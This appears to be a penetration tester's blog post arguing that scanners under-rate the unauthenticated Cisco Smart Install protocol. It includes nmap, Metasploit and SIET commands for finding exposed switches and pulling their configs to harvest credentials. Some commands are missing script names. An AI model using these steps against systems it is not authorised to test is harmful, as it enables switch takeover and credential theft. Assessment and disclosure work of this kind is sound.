The SMI protocol, and why Nessus is wrong

I was reviewing some port scan data and noticed port 4786 open on multiple machines (over 50) in the environment I was testing. I wasn’t familiar with any services associated with that port, but after some Internet searching I found that the Cisco Smart Install (SMI) protocol listens on 4786. SMI is a “…plug-and-play configuration and image-management feature that provides zero-touch deployment for new switches”. It also turns out SMI is a very insecure protocol, not requiring any type of authentication. The remainder of this post discusses the potential security impacts of having this feature enabled. For further background on SMI, Rapid7 has an excellent blog post which provides a more thorough background on the flaws with the protocol and SMIs exposure.

Long story short: If you have SMI enabled in your environment, a remote, unauthenticated attacker can “… change the startup-config file and force a reload of the device, load a new IOS image on the device, and execute high-privilege CLI commands on switches running Cisco IOS and IOS XE Software.”
Cisco’s basic recommendation is to either disable the feature, or if you need it, make sure the service can only be accessed on a controlled and restricted network.

You may be saying: We do vulnerability scanning and we fix everything (at least everything with a medium risk or above). There is no way we would have a vulnerability that could allow an unauthenticated attacker to gain full control over a switch – And that is exactly what I thought when I discovered 50-plus switches with this enabled. I wondered, how could the vulnerability scanning teams and all prior audits, security assessments, and penetration tests miss this?

Well aside from Cisco calling this an informational issue, it turns out Nessus doesn’t consider this too risky either:

I’m guessing that since Cisco ranked this vulnerability as Informational, citing protocol misuse (the protocol is acting as intended, it just sucks), then Tenable just followed along with Cisco’s classification. In my opinion that’s ridiculous. Let’s look at the impact one more time. SMI allows an unauthenticated remote user to:

  • change the startup-config file and force a reload of the device
  • load a new IOS image on the device
  • execute high-privilege CLI commands

I’m pretty sure any of these by themselves warrant a high or critical finding.

Sure, maybe some fault lies with the vulnerability analyst for not reading the informational scan findings, or maybe the network engineer that didn’t know this was a thing, but I put more of the blame on Cisco, Nessus, and any other vulnerability scanners that call this an Info.

I reached out to Tenable via Twitter to see if there was a way to dispute the risk classification, but they never responded.

Either way, I looked like a genius taking advantage of this protocol, as I was able to downloaded switch configs, crack passwords, and move throughout the environment.

Here is how I went about checking the environment I was testing:

1. First, an Nmap scan

nmap -n -v -Pn -p 4786 <iprange> -oX smi_scan.xml

2. Next I used my Nmap parsing tool (previously discussed here) to extract the IP addresses that had port 4786 open.

python3 -f smi_scan.xml -ip > smi_addrs.txt

3. There are a few options to check the target systems for the presence of the protocol:

I used Metasploit:

msf > use auxiliary/scanner/misc/cisco_smart_install
msf auxiliary(cisco_smart_install) > set rhosts file:<file containing list of SMI hosts>
msf auxiliary(cisco_smart_install) > run

That is actually enough to say that you are vulnerable – it is simply a vulnerable protocol that should be disabled if not in use.

If you want to do some damage, use the SIET tool.

I used to pull the config from every switch where SMI was running. You can take your smi_addrs.txt file and feed it to SIET:

python -g -l smi_addrs.txt

The -g command gets the config. SIET will start a TFTP server and tell the remote server to send you its config via TFTP. SIET will create a tftp directory where the configs will be written to.


The config files should hold some juicy information, including usernames, hashes (or passwords), as well as SNMP community strings.


SIET has other options as well, including the ability to upload your own config, or even run privileged commands on the machine. You can get more information from presentation slides from the individuals that reported the vulnerabilities and created SIET:

Cisco references:

Leave a Reply

Your email address will not be published. Required fields are marked *